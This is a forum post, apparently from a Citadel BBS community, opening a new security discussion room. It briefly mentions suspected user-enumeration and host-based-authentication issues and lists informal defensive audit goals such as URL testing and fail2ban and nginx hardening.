      <script type="text/javascript">
         new Ajax.PeriodicalUpdater('msg_inner', 'new_messages_html', { method: 'get', frequency: 60 }  );
         new Ajax.PeriodicalUpdater('tasks_inner', 'tasks_inner_html', { method: 'get', frequency: 120 }  );
         new Ajax.PeriodicalUpdater('calendar_inner', 'calendar_inner_html', { method: 'get', frequency: 90 }  );
         new Ajax.PeriodicalUpdater('who_inner', 'do_template?template=who_summary', { method: 'get', frequency: 30 }  );
      </script>
      <p>Welcome <?CURRENT_USER("X")>!</p>
      <p><?_("You are connected to")> <?SERV:HUMANNODE>, <?_("running")> <?SERV:SOFTWARE> <?_("with")> <?PACKAGESTRING> (<?_("server build")> <?SERV:REV_LEVEL>), <?_("which is located in")> <?SERV:BBS_CITY>.</p>
      <p><?_("Your system administrator is")> <i><?SERV:ADMIN>.</i></p>
      <hr/>
      <p><?_("Today on your calendar is ")></p>
      <blockquote>
          <span id="calendar_inner"> </span>
      </blockquote>
      <p><?_("Tasks")></p>
      <blockquote>
          <span id="tasks_inner"></span>
      </blockquote>
      <p><?_("Messages")></p>
      <blockquote>
       <span id ="msg_inner"></span>
      </blockquote>
      <p>Who is Online Now?</p>
      <blockquote>
         <span id="who_inner"></span>
      </blockquote>
   <??("X",1)>
</div>

Today is the first post of all time, in the new Citadel Security room!

We mark this occasion, with a quote from CHARLES BUKOWSKI..

"There is enough treachery, hatred violence absurdity in the average Human being...
to supply any given army on any given day..."

Yes, it's all sadly true.. and We'd be remiss not to mention, USERS who are particularly EVIL...

.. it is in contemplating these burdens, we arrive at the topic of Security.

Actually, there is not much to say at this point..

• There is a potential user enumeration issue.  [What is exposing these users? SMTP,  Webcit, or a Bulgarian with a text file full of names?]
• There is an older possible issue, dealing with Host Based Authentication and user NULL, which should be looked into.

Nobody is using the words "Security Audit at this point, but some initial goals are:

1. To generate a list of public URLs exposed by webcit, also, by access levels (for those systems allowing registration).
2. Throw a bunch of stuff at those URLS by scripting, to see what we can EXPOSE, also, what we can BREAK.
3. Perhaps try the same on ports, but more geared toward authentication, and enumeration, like SMTP, XMPP, IMAP, 504, text client
4. Generate some configs for fail2ban jails for authenticated citadel services on the default ports.  Also, nginx security configs for webcit.
5. ??? That's all I can think of at this moment.
6. Be sure to mention, this is not How do I install Citadel on Rasberry Pi support.

Citadel is our friend, and we need it.  We want to keep her running safely, as a mighty fortress, in the dark ocean of night..

Will you answer the call?

 If you would like to talk about these things, or participate in working on them.. this is the place for you!

Please describe your SECURITY issues ACCURATELY and with PRECISION, in the ENGLISH LANGUAGE, in all posts here!

Thank you.